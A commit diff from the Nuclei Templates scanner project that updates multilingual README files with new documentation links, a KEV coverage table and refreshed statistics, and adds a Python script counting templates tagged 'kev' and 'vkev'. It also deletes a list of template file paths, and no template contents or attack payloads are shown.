Update metadata and improve template quality

Create CVE-2023-6266.yaml
chore: update EPSS scores 🤖
2026-11-07 08:36:19 -10:00 · 2025-11-30 10:51:35 +00:00 · 2025-11-30 12:06:49 +05:30 · 2025-11-30 02:38:00 +00:00 · 2025-11-29 18:27:40 +04:00 · 2025-11-29 18:25:50 +04:00
3623 changed files with 22128 additions and 18548 deletions
@@ -14,11 +14,11 @@ Nuclei Templates
 </p>
      
 <p align="center">
-  <a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentation</a> •
+  <a href="https://docs.projectdiscovery.io/templates/introduction">Documentation</a> •
  <a href="#-contributions">Contributions</a> •
  <a href="#-discussion">Discussion</a> •
  <a href="#-community">Community</a> •
-  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">Join Discord</a>
 </p>

@@ -36,7 +36,21 @@ An overview of the nuclei template project, including statistics on unique tags,

 <table>
 <tr>
-<td> 
+<td>
+
+### 🚨 Known Exploited Vulnerabilities (KEV) Coverage
+
+Nuclei templates provide coverage for vulnerabilities actively exploited in the wild:
+
+| **KEV Source** | **Templates** | **Description** |
+|----------------|---------------|-----------------|
+| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
+| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - Enhanced vulnerability intelligence |
+| 🟢 **Both Sources** | **{kev_stats.get('both', 0)}** | Templates covering vulnerabilities in both catalogs |
+
+> 💡 **Total unique KEV templates: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - Use `nuclei -tags kev,vkev` to scan for actively exploited vulnerabilities
+
+---

 {get_top10()}

@@ -20,11 +20,11 @@ Nuclei 模板
 </p>

 <p align="center">
-  <a href="https://nuclei.projectdiscovery.io/templating-guide/">文档</a> •
+  <a href="https://docs.projectdiscovery.io/templates/introduction">文档</a> •
  <a href="#-贡献">贡献</a> •
  <a href="#-交流">交流</a> •
  <a href="#-社区">社区</a> •
-  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">加入Discord</a>
 </p>

@@ -42,7 +42,21 @@ Nuclei 模板

 <table>
 <tr>
-<td> 
+<td>
+
+### 🚨 已知被利用漏洞 (KEV) 覆盖范围
+
+Nuclei 模板为野外被积极利用的漏洞提供覆盖:
+
+| **KEV 来源** | **模板数量** | **描述** |
+|----------------|---------------|-----------------|
+| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 已知被利用漏洞目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
+| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 增强的漏洞情报 |
+| 🟢 **两个来源** | **{kev_stats.get('both', 0)}** | 覆盖两个目录中漏洞的模板 |
+
+> 💡 **唯一 KEV 模板总数: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - 使用 `nuclei -tags kev,vkev` 扫描被积极利用的漏洞
+
+---

 {get_top10()}

@@ -11,11 +11,11 @@ Nuclei テンプレート
 </p>
      
 <p align="center">
-  <a href="https://nuclei.projectdiscovery.io/templating-guide/">ドキュメント</a> •
+  <a href="https://docs.projectdiscovery.io/templates/introduction">ドキュメント</a> •
  <a href="#-contributions">貢献</a> •
  <a href="#-discussion">ディスカッション</a> •
  <a href="#-community">コミュニティ</a> •
-  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">Discordに参加</a>
 </p>

@@ -37,7 +37,21 @@ Nucleiテンプレートプロジェクトの概要であり、ユニークな

 <table>
 <tr>
-<td> 
+<td>
+
+### 🚨 既知の悪用される脆弱性 (KEV) カバレッジ
+
+Nucleiテンプレートは、野生で積極的に悪用されている脆弱性のカバレッジを提供します:
+
+| **KEV ソース** | **テンプレート数** | **説明** |
+|----------------|---------------|-----------------|
+| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 既知の悪用される脆弱性カタログ](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
+| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 強化された脆弱性インテリジェンス |
+| 🟢 **両方のソース** | **{kev_stats.get('both', 0)}** | 両方のカタログの脆弱性をカバーするテンプレート |
+
+> 💡 **ユニークKEVテンプレート総数: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - `nuclei -tags kev,vkev` を使用して積極的に悪用されている脆弱性をスキャン
+
+---

 {get_top10()}

@@ -14,11 +14,11 @@ Nuclei 템플릿
 </p>
      
 <p align="center">
-  <a href="https://nuclei.projectdiscovery.io/templating-guide/">가이드 문서</a> •
+  <a href="https://docs.projectdiscovery.io/templates/introduction">가이드 문서</a> •
  <a href="#-contributions">기여</a> •
  <a href="#-discussion">논의</a> •
  <a href="#-community">커뮤니티</a> •
-  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">디스코드</a>
 </p>

@@ -39,7 +39,21 @@ Nuclei 템플릿

 <table>
 <tr>
-<td> 
+<td>
+
+### 🚨 알려진 악용되는 취약점 (KEV) 적용 범위
+
+Nuclei 템플릿은 실제로 악용되고 있는 취약점에 대한 적용 범위를 제공합니다:
+
+| **KEV 소스** | **템플릿 수** | **설명** |
+|----------------|---------------|-----------------|
+| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 알려진 악용되는 취약점 카탈로그](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
+| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 강화된 취약점 인텔리전스 |
+| 🟢 **두 소스 모두** | **{kev_stats.get('both', 0)}** | 두 카탈로그의 취약점을 포함하는 템플릿 |
+
+> 💡 **총 고유 KEV 템플릿: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - `nuclei -tags kev,vkev`를 사용하여 적극적으로 악용되는 취약점 스캔
+
+---

 {get_top10()}

@@ -0,0 +1,119 @@
+#!/usr/bin/env python3
+"""
+Count KEV and vKEV templates for README statistics
+
+This script counts the number of templates with 'kev' and 'vkev' tags
+and outputs the statistics in a format suitable for the README.
+"""
+
+import re
+import sys
+from pathlib import Path
+from typing import Dict, Set
+
+
+def has_tag_in_file(file_path: Path, tag: str) -> bool:
+    """Check if a template file has a specific tag."""
+    try:
+        with open(file_path, 'r', encoding='utf-8') as f:
+            content = f.read()
+
+        # Look for tags field and check if tag is present
+        tags_match = re.search(r'tags:\s*([^\n]+)', content)
+        if tags_match:
+            tags_str = tags_match.group(1)
+            # Check for tag as a standalone tag (not part of another word)
+            if re.search(rf'\b{tag}\b', tags_str, re.IGNORECASE):
+                return True
+    except Exception as e:
+        print(f"Error reading {file_path}: {e}", file=sys.stderr)
+
+    return False
+
+
+def count_kev_templates(root_dir: str) -> Dict[str, int]:
+    """Count templates with KEV and vKEV tags."""
+    root_path = Path(root_dir)
+
+    # Find all YAML template files
+    patterns = [
+        "**/*.yaml",
+        "**/*.yml"
+    ]
+
+    all_files = set()
+    for pattern in patterns:
+        all_files.update(root_path.glob(pattern))
+
+    # Filter out non-template files
+    template_files = [
+        f for f in all_files
+        if '/workflows/' not in str(f)
+        and '/.github/' not in str(f)
+        and '/profiles/' not in str(f)
+    ]
+
+    kev_count = 0
+    vkev_count = 0
+    both_count = 0
+    kev_only_count = 0
+    vkev_only_count = 0
+
+    kev_files = set()
+    vkev_files = set()
+
+    for template_file in template_files:
+        has_kev = has_tag_in_file(template_file, 'kev')
+        has_vkev = has_tag_in_file(template_file, 'vkev')
+
+        if has_kev:
+            kev_count += 1
+            kev_files.add(template_file)
+
+        if has_vkev:
+            vkev_count += 1
+            vkev_files.add(template_file)
+
+        if has_kev and has_vkev:
+            both_count += 1
+        elif has_kev:
+            kev_only_count += 1
+        elif has_vkev:
+            vkev_only_count += 1
+
+    return {
+        'kev_total': kev_count,
+        'vkev_total': vkev_count,
+        'both': both_count,
+        'kev_only': kev_only_count,
+        'vkev_only': vkev_only_count,
+        'total_templates': len(template_files)
+    }
+
+
+def main():
+    """Main entry point."""
+    root_dir = sys.argv[1] if len(sys.argv) > 1 else '.'
+
+    stats = count_kev_templates(root_dir)
+
+    # Output in a format that can be easily parsed
+    print(f"KEV_TOTAL={stats['kev_total']}")
+    print(f"VKEV_TOTAL={stats['vkev_total']}")
+    print(f"BOTH={stats['both']}")
+    print(f"KEV_ONLY={stats['kev_only']}")
+    print(f"VKEV_ONLY={stats['vkev_only']}")
+    print(f"TOTAL_TEMPLATES={stats['total_templates']}")
+
+    # Also print human-readable summary to stderr for logging
+    print("\n=== KEV/vKEV Statistics ===", file=sys.stderr)
+    print(f"CISA KEV templates: {stats['kev_total']}", file=sys.stderr)
+    print(f"VulnCheck KEV templates: {stats['vkev_total']}", file=sys.stderr)
+    print(f"Templates in both: {stats['both']}", file=sys.stderr)
+    print(f"CISA KEV only: {stats['kev_only']}", file=sys.stderr)
+    print(f"VulnCheck KEV only: {stats['vkev_only']}", file=sys.stderr)
+    print(f"Total templates scanned: {stats['total_templates']}", file=sys.stderr)
+
+
+if __name__ == "__main__":
+    main()
@@ -1,6 +1,7 @@
 #!/usr/bin/env python3
 import glob
 import subprocess
+import re

 def countTpl(path):
 	return len(glob.glob(path + "/*.*"))
@@ -13,8 +14,38 @@ def get_top10():
 	TOP10 = command(["cat", "TOP-10.md"])
 	return HEADER + TOP10 if len(TOP10) > 0 else ""

+def get_kev_stats():
+	"""Get KEV and vKEV statistics by running the count-kev-stats.py script."""
+	try:
+		result = subprocess.run(
+			["python3", ".github/scripts/count-kev-stats.py"],
+			text=True,
+			capture_output=True,
+			timeout=120
+		)
+
+		# Parse the output
+		stats = {}
+		for line in result.stdout.strip().split('\n'):
+			if '=' in line:
+				key, value = line.split('=')
+				stats[key.lower()] = int(value)
+
+		return stats
+	except Exception as e:
+		print(f"Error getting KEV stats: {e}")
+		return {
+			'kev_total': 0,
+			'vkev_total': 0,
+			'both': 0,
+			'kev_only': 0,
+			'vkev_only': 0,
+			'total_templates': 0
+		}
+
 if __name__ == "__main__":
 	version = command(["git", "describe", "--tags", "--abbrev=0"])
+	kev_stats = get_kev_stats()
 	template = eval(open(".github/scripts/README.tmpl", "r").read())

 	print(template)
@@ -2,7 +2,7 @@ name: 📝 Readme Update

 on:
  workflow_run:
-    workflows: ["🗒 Templates Stats"]
+    workflows: ["🗒 Templates Stats", "📋 KEV & vKEV Tag Update"]
    types:
      - completed
  workflow_dispatch:
@@ -1,130 +0,0 @@
-cloud/kubernetes/security-compliance/k8s-controller-manager-bind-address.yaml
-cloud/kubernetes/security-compliance/k8s-scheduler-bind-address.yaml
-code/cves/2024/CVE-2024-47575.yaml
-code/cves/2025/CVE-2025-1550.yaml
-code/macos/audit/auto-login-enabled.yaml
-code/macos/audit/filevault-disabled.yaml
-code/macos/audit/firewall-disabled.yaml
-code/macos/audit/gatekeeper-disabled.yaml
-code/macos/audit/guest-user-enabled.yaml
-code/macos/audit/insecure-cron-jobs.yaml
-code/macos/audit/insecure-etc-exports-permissions.yaml
-code/macos/audit/insecure-etc-fstab-permissions.yaml
-code/macos/audit/insecure-etc-hostconfig-permissions.yaml
-code/macos/audit/insecure-etc-inetd-conf-permissions.yaml
-code/macos/audit/insecure-homebrew-permissions.yaml
-code/macos/audit/insecure-launchd-jobs.yaml
-code/macos/audit/insecure-startup-items.yaml
-code/macos/audit/insecure-sudo-timestamp.yaml
-code/macos/audit/insecure-sudoers-permissions.yaml
-code/macos/audit/insecure-tty-permissions.yaml
-code/macos/audit/insecure-umask.yaml
-code/macos/audit/sip-disabled.yaml
-code/macos/audit/ssh-service-running.yaml
-code/macos/audit/suid-sgid-files.yaml
-code/misconfiguration/dns-axfr-enabled.yaml
-dns/dkim-record-detect.yaml
-file/android/deep-link-custom-scheme-detect.yaml
-file/android/exported-activities.yaml
-file/android/exported-broadcast-receivers.yaml
-file/android/exported-providers.yaml
-file/android/exported-services.yaml
-file/android/webview-file-access-fromfileurl-java.yaml
-file/android/webview-file-access-java.yaml
-file/android/webview-universal-access-java.yaml
-http/cves/2018/CVE-2018-6882.yaml
-http/cves/2019/CVE-2019-11507.yaml
-http/cves/2021/CVE-2021-41419.yaml
-http/cves/2021/CVE-2021-4374.yaml
-http/cves/2021/CVE-2021-45467.yaml
-http/cves/2022/CVE-2022-26143.yaml
-http/cves/2023/CVE-2023-2437.yaml
-http/cves/2023/CVE-2023-34048.yaml
-http/cves/2023/CVE-2023-39121.yaml
-http/cves/2024/CVE-2024-0799.yaml
-http/cves/2024/CVE-2024-0801.yaml
-http/cves/2024/CVE-2024-10146.yaml
-http/cves/2024/CVE-2024-11238.yaml
-http/cves/2024/CVE-2024-27443.yaml
-http/cves/2024/CVE-2024-28623.yaml
-http/cves/2024/CVE-2024-37656.yaml
-http/cves/2024/CVE-2024-4180.yaml
-http/cves/2024/CVE-2024-50857.yaml
-http/cves/2024/CVE-2024-53900.yaml
-http/cves/2024/CVE-2024-6690.yaml
-http/cves/2024/CVE-2024-8852.yaml
-http/cves/2025/CVE-2025-1023.yaml
-http/cves/2025/CVE-2025-11749.yaml
-http/cves/2025/CVE-2025-12480.yaml
-http/cves/2025/CVE-2025-1302.yaml
-http/cves/2025/CVE-2025-24354.yaml
-http/cves/2025/CVE-2025-31486.yaml
-http/cves/2025/CVE-2025-32429.yaml
-http/cves/2025/CVE-2025-41243.yaml
-http/cves/2025/CVE-2025-4302.yaml
-http/cves/2025/CVE-2025-44136.yaml
-http/cves/2025/CVE-2025-44137.yaml
-http/cves/2025/CVE-2025-51482.yaml
-http/cves/2025/CVE-2025-51990.yaml
-http/cves/2025/CVE-2025-51991.yaml
-http/cves/2025/CVE-2025-52472.yaml
-http/cves/2025/CVE-2025-52665.yaml
-http/cves/2025/CVE-2025-54236.yaml
-http/cves/2025/CVE-2025-54253.yaml
-http/cves/2025/CVE-2025-55190.yaml
-http/cves/2025/CVE-2025-5605.yaml
-http/cves/2025/CVE-2025-58443.yaml
-http/cves/2025/CVE-2025-59287.yaml
-http/cves/2025/CVE-2025-6174.yaml
-http/cves/2025/CVE-2025-61884.yaml
-http/cves/2025/CVE-2025-6403.yaml
-http/cves/2025/CVE-2025-64095.yaml
-http/cves/2025/CVE-2025-64446.yaml
-http/cves/2025/CVE-2025-8943.yaml
-http/cves/2025/CVE-2025-9985.yaml
-http/default-logins/churchcrm/churchcrm-default-login.yaml
-http/default-logins/erp/erpnext-default-login.yaml
-http/default-logins/openwebui/openwebui-default-login.yaml
-http/exposed-panels/cascade-cms-panel.yaml
-http/exposed-panels/celonis-login-panel.yaml
-http/exposed-panels/churchcrm-panel.yaml
-http/exposed-panels/monsta-ftp-detect.yaml
-http/exposed-panels/unifi-os-panel.yaml
-http/exposures/backups/generic-php-files.yaml
-http/misconfiguration/aem/aem-dispatcher-bypass.yaml
-http/misconfiguration/aem/aem-querybuilder-bypass.yaml
-http/misconfiguration/cockroachdb-information-disclosure.yaml
-http/misconfiguration/cockroachdb-unauth-exposure.yaml
-http/misconfiguration/installer/churchcrm-installer.yaml
-http/misconfiguration/servicenow-stats-page.yaml
-http/misconfiguration/servicenow-threads-page.yaml
-http/misconfiguration/tomcat-snoop-servlet-exposed.yaml
-http/takeovers/mailgun-takeover.yaml
-http/technologies/cherrypy-detect.yaml
-http/technologies/flowweb-detect.yaml
-http/technologies/hedgedoc-detect.yaml
-http/technologies/intel-amt-detect.yaml
-http/technologies/ipswitch-imail-detect.yaml
-http/technologies/lighttpd-detect.yaml
-http/technologies/miniupnpd-detect.yaml
-http/technologies/mochiweb-detect.yaml
-http/technologies/websphere-detect.yaml
-http/vulnerabilities/bentoml-ssrf.yaml
-http/vulnerabilities/generic/xss-uri-reflected.yaml
-http/vulnerabilities/gradio-image-ssrf.yaml
-http/vulnerabilities/gradio-lfi.yaml
-http/vulnerabilities/smuggling/cl-te-http-smuggling.yaml
-http/vulnerabilities/smuggling/te-cl-http-smuggling.yaml
-http/vulnerabilities/unifi/unifi-create-user.yaml
-http/vulnerabilities/unifi/unifi-nfc-credentials.yaml
-javascript/cves/2019/CVE-2019-6443.yaml
-javascript/cves/2025/CVE-2025-12101.yaml
-javascript/default-logins/vnc-default-login.yaml
-javascript/detection/ntp-version-detect.yaml
-javascript/misconfiguration/mqtt-uauth-broker.yaml
-javascript/udp/misconfiguration/ntp-enum-variables-enabled.yaml
-network/cves/2020/CVE-2020-14644.yaml
-network/cves/2024/CVE-2024-23108.yaml
-network/detection/adsb-ultrafeeder-detect.yaml
-network/detection/rtl-tcp-server-detect.yaml
-network/detection/unauth-java-message-broker-detect.yaml
@@ -36,4 +36,5 @@ files:
  - javascript/enumeration/redis/redis-require-auth.yaml
  - dast/vulnerabilities/sqli/time-based-sqli.yaml
  - javascript/enumeration/minecraft-enum.yaml
-  - javascript/enumeration/minecraft-enum.yaml
+  - http/miscellaneous/crypto-address-detect.yaml
+  - http/vulnerabilities/wp-functions-php-disclosure.yaml
@@ -22,7 +22,7 @@

 ### Additional References:

- [Nuclei Template Creation Guideline](https://nuclei.projectdiscovery.io/templating-guide/)
+- [Nuclei Template Creation Guideline](https://docs.projectdiscovery.io/templates/introduction)
 - [Nuclei Template Matcher Guideline](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers)
 - [Nuclei Template Contribution Guideline](https://github.com/projectdiscovery/nuclei-templates/blob/master/CONTRIBUTING.md)
 - [PD-Community Discord server](https://discord.gg/projectdiscovery)
@@ -14,11 +14,11 @@ Nuclei Templates
 </p>
      
 <p align="center">
-  <a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentation</a> •
+  <a href="https://docs.projectdiscovery.io/templates/introduction">Documentation</a> •
  <a href="#-contributions">Contributions</a> •
  <a href="#-discussion">Discussion</a> •
  <a href="#-community">Community</a> •
-  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">Join Discord</a>
 </p>

@@ -36,24 +36,38 @@ An overview of the nuclei template project, including statistics on unique tags,

 <table>
 <tr>
-<td> 
+<td>
+
+### 🚨 Known Exploited Vulnerabilities (KEV) Coverage
+
+Nuclei templates provide coverage for vulnerabilities actively exploited in the wild:
+
+| **KEV Source** | **Templates** | **Description** |
+|----------------|---------------|-----------------|
+| 🔴 **CISA KEV** | **454** | [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
+| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - Enhanced vulnerability intelligence |
+| 🟢 **Both Sources** | **407** | Templates covering vulnerabilities in both catalogs |
+
+> 💡 **Total unique KEV templates: 1496** - Use `nuclei -tags kev,vkev` to scan for actively exploited vulnerabilities
+
+---

 ## Nuclei Templates Top 10 statistics

 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3288 | dhiyaneshdk   |  1882 | http       |  8967 | info     |  4190 | file |   435 |
-| panel     |  1342 | daffainfo     |   868 | cloud      |   657 | high     |  2446 | dns  |    26 |
-| xss       |  1257 | princechaddha |   854 | file       |   435 | medium   |  2379 |      |       |
-| wordpress |  1181 | dwisiswant0   |   806 | dast       |   255 | critical |  1425 |      |       |
-| exposure  |  1107 | ritikchaddha  |   649 | workflows  |   202 | low      |   318 |      |       |
-| wp-plugin |  1032 | pussycat0x    |   532 | code       |   198 | unknown  |    56 |      |       |
-| osint     |   841 | pikpikcu      |   352 | network    |   145 |          |       |      |       |
-| tech      |   803 | pdteam        |   310 | javascript |    71 |          |       |      |       |
-| rce       |   786 | pdresearch    |   269 | ssl        |    38 |          |       |      |       |
-| lfi       |   777 | iamnoooob     |   257 | dns        |    23 |          |       |      |       |
+| vuln      |  6468 | dhiyaneshdk   |  1894 | http       |  9281 | info     |  4353 | file |   436 |
+| cve       |  3587 | daffainfo     |   905 | cloud      |   659 | high     |  2552 | dns  |    26 |
+| discovery |  3265 | princechaddha |   854 | file       |   436 | medium   |  2457 |      |       |
+| vkev      |  1394 | dwisiswant0   |   805 | network    |   259 | critical |  1555 |      |       |
+| panel     |  1365 | ritikchaddha  |   678 | code       |   251 | low      |   330 |      |       |
+| xss       |  1269 | pussycat0x    |   675 | dast       |   240 | unknown  |    54 |      |       |
+| wordpress |  1261 | pikpikcu      |   353 | workflows  |   205 |          |       |      |       |
+| exposure  |  1141 | pdteam        |   314 | javascript |    92 |          |       |      |       |
+| wp-plugin |  1103 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
+| osint     |   848 | iamnoooob     |   263 | dns        |    23 |          |       |      |       |

-**848 directories, 11344 files**.
+**873 directories, 11997 files**.

 </td>
 </tr>
@@ -20,11 +20,11 @@ Nuclei 模板
 </p>

 <p align="center">
-  <a href="https://nuclei.projectdiscovery.io/templating-guide/">文档</a> •
+  <a href="https://docs.projectdiscovery.io/templates/introduction">文档</a> •
  <a href="#-贡献">贡献</a> •
  <a href="#-交流">交流</a> •
  <a href="#-社区">社区</a> •
-  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">加入Discord</a>
 </p>

@@ -42,24 +42,38 @@ Nuclei 模板

 <table>
 <tr>
-<td> 
+<td>

-## Nuclei模板TOP10统计信息
+### 🚨 已知被利用漏洞 (KEV) 覆盖范围
+
+Nuclei 模板为野外被积极利用的漏洞提供覆盖:
+
+| **KEV 来源** | **模板数量** | **描述** |
+|----------------|---------------|-----------------|
+| 🔴 **CISA KEV** | **454** | [CISA 已知被利用漏洞目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
+| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 增强的漏洞情报 |
+| 🟢 **两个来源** | **407** | 覆盖两个目录中漏洞的模板 |
+
+> 💡 **唯一 KEV 模板总数: 1496** - 使用 `nuclei -tags kev,vkev` 扫描被积极利用的漏洞
+
+---
+
+## Nuclei Templates Top 10 statistics

 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  2877 | dhiyaneshdk   |  1477 | http       |  8219 | info     |  3948 | file |   404 |
-| panel     |  1246 | daffainfo     |   866 | file       |   404 | high     |  2135 | dns  |    25 |
-| wordpress |  1072 | dwisiswant0   |   803 | cloud      |   370 | medium   |  1840 |      |       |
-| exposure  |  1006 | princechaddha |   570 | workflows  |   192 | critical |  1197 |      |       |
-| xss       |   987 | ritikchaddha  |   496 | code       |   157 | low      |   287 |      |       |
-| wp-plugin |   936 | pussycat0x    |   453 | network    |   138 | unknown  |    43 |      |       |
-| osint     |   807 | pikpikcu      |   353 | javascript |    65 |          |       |      |       |
-| tech      |   745 | pdteam        |   302 | ssl        |    30 |          |       |      |       |
-| lfi       |   727 | ricardomaia   |   245 | dast       |    26 |          |       |      |       |
-| misconfig |   720 | geeknik       |   231 | dns        |    22 |          |       |      |       |
+| vuln      |  6468 | dhiyaneshdk   |  1894 | http       |  9281 | info     |  4353 | file |   436 |
+| cve       |  3587 | daffainfo     |   905 | cloud      |   659 | high     |  2552 | dns  |    26 |
+| discovery |  3265 | princechaddha |   854 | file       |   436 | medium   |  2457 |      |       |
+| vkev      |  1394 | dwisiswant0   |   805 | network    |   259 | critical |  1555 |      |       |
+| panel     |  1365 | ritikchaddha  |   678 | code       |   251 | low      |   330 |      |       |
+| xss       |  1269 | pussycat0x    |   675 | dast       |   240 | unknown  |    54 |      |       |
+| wordpress |  1261 | pikpikcu      |   353 | workflows  |   205 |          |       |      |       |
+| exposure  |  1141 | pdteam        |   314 | javascript |    92 |          |       |      |       |
+| wp-plugin |  1103 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
+| osint     |   848 | iamnoooob     |   263 | dns        |    23 |          |       |      |       |

-**743 directories, 9960 files**.
+**873 directories, 11997 files**.

 </td>
 </tr>
@@ -11,11 +11,11 @@ Nuclei テンプレート
 </p>
      
 <p align="center">
-  <a href="https://nuclei.projectdiscovery.io/templating-guide/">ドキュメント</a> •
+  <a href="https://docs.projectdiscovery.io/templates/introduction">ドキュメント</a> •
  <a href="#-contributions">貢献</a> •
  <a href="#-discussion">ディスカッション</a> •
  <a href="#-community">コミュニティ</a> •
-  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">Discordに参加</a>
 </p>

@@ -37,24 +37,38 @@ Nucleiテンプレートプロジェクトの概要であり、ユニークな

 <table>
 <tr>
-<td> 
+<td>

-## Nuclei テンプレート トップ10統計
+### 🚨 既知の悪用される脆弱性 (KEV) カバレッジ

-|    タグ    | 数   |    著者       | 数   |    ディレクトリ  | 数   | 重大度 | 数   |  種類   | 数   |
-|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1325 | daffainfo     |   629 | cves             |  1306 | info     |  1398 | http    |  3644 |
-| panel     |   604 | dhiyaneshdk   |   509 | exposed-panels   |   613 | high     |   955 | file    |    76 |
-| lfi       |   490 | pikpikcu      |   322 | vulnerabilities  |   506 | medium   |   784 | network |    50 |
-| xss       |   451 | pdteam        |   269 | technologies     |   273 | critical |   445 | dns     |    17 |
-| wordpress |   409 | geeknik       |   187 | exposures        |   254 | low      |   211 |         |       |
-| exposure  |   360 | dwisiswant0   |   169 | token-spray      |   230 | unknown  |     7 |         |       |
-| cve2021   |   324 | 0x_akoko      |   157 | misconfiguration |   210 |          |       |         |       |
-| rce       |   319 | princechaddha |   149 | workflows        |   187 |          |       |         |       |
-| wp-plugin |   304 | pussycat0x    |   130 | default-logins   |   102 |          |       |         |       |
-| tech      |   286 | gy741         |   126 | file             |    76 |          |       |         |       |
+Nucleiテンプレートは、野生で積極的に悪用されている脆弱性のカバレッジを提供します:

-**286個のディレクトリ、4012個のファイル**。
+| **KEV ソース** | **テンプレート数** | **説明** |
+|----------------|---------------|-----------------|
+| 🔴 **CISA KEV** | **454** | [CISA 既知の悪用される脆弱性カタログ](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
+| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 強化された脆弱性インテリジェンス |
+| 🟢 **両方のソース** | **407** | 両方のカタログの脆弱性をカバーするテンプレート |
+
+> 💡 **ユニークKEVテンプレート総数: 1496** - `nuclei -tags kev,vkev` を使用して積極的に悪用されている脆弱性をスキャン
+
+---
+
+## Nuclei Templates Top 10 statistics
+
+|    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
+|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
+| vuln      |  6468 | dhiyaneshdk   |  1894 | http       |  9281 | info     |  4353 | file |   436 |
+| cve       |  3587 | daffainfo     |   905 | cloud      |   659 | high     |  2552 | dns  |    26 |
+| discovery |  3265 | princechaddha |   854 | file       |   436 | medium   |  2457 |      |       |
+| vkev      |  1394 | dwisiswant0   |   805 | network    |   259 | critical |  1555 |      |       |
+| panel     |  1365 | ritikchaddha  |   678 | code       |   251 | low      |   330 |      |       |
+| xss       |  1269 | pussycat0x    |   675 | dast       |   240 | unknown  |    54 |      |       |
+| wordpress |  1261 | pikpikcu      |   353 | workflows  |   205 |          |       |      |       |
+| exposure  |  1141 | pdteam        |   314 | javascript |    92 |          |       |      |       |
+| wp-plugin |  1103 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
+| osint     |   848 | iamnoooob     |   263 | dns        |    23 |          |       |      |       |
+
+**873 directories, 11997 files**.

 </td>
 </tr>
@@ -14,11 +14,11 @@ Nuclei 템플릿
 </p>
      
 <p align="center">
-  <a href="https://nuclei.projectdiscovery.io/templating-guide/">가이드 문서</a> •
+  <a href="https://docs.projectdiscovery.io/templates/introduction">가이드 문서</a> •
  <a href="#-contributions">기여</a> •
  <a href="#-discussion">논의</a> •
  <a href="#-community">커뮤니티</a> •
-  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">디스코드</a>
 </p>

@@ -31,7 +31,7 @@ Nuclei 템플릿

 템플릿은 실제 스캐닝 엔진을 동작하게 하는 [nuclei scanner](https://github.com/projectdiscovery/nuclei)의 핵심입니다.
 이 저장소는 우리 팀에서 제공하거나, 커뮤니티에서 기여한 다양한 템플릿들을 저장하고 보관합니다.
